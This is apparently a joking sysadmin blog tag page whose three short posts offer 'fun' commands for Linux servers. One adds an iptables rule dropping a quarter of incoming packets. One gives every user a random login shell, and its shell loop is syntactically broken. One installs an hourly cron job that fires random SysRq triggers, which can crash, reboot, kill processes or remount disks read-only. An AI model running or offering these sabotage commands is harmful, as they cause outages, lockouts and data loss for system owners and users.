Posts Tagged ‘ random


iptables -I INPUT 1 -m statistic --mode random --probability 0.25 -j DROP

We don’t play favourites.

Include this somewhere in cron, or just run it yourself from time to time to give your users the diversity they so rightly deserve:

for I in $(getent passwd | cut -d: -f1 )
    chsh -s $(sort -R /etc/shells | head -n1) ${I}

Add some spice to your life

Spice up your life a bit with the following command:

echo 'SYSRQLETTERS="bcdefghijklmnopqrstuvwx"; echo ${SYSRQLETTERS} | cut -c $[$RANDOM % ${#SYSRQLETTERS} + 1] > /proc/sysrq-trigger' > /etc/cron.hourly/happyfuntime; chmod +x /etc/cron.hourly/happyfuntime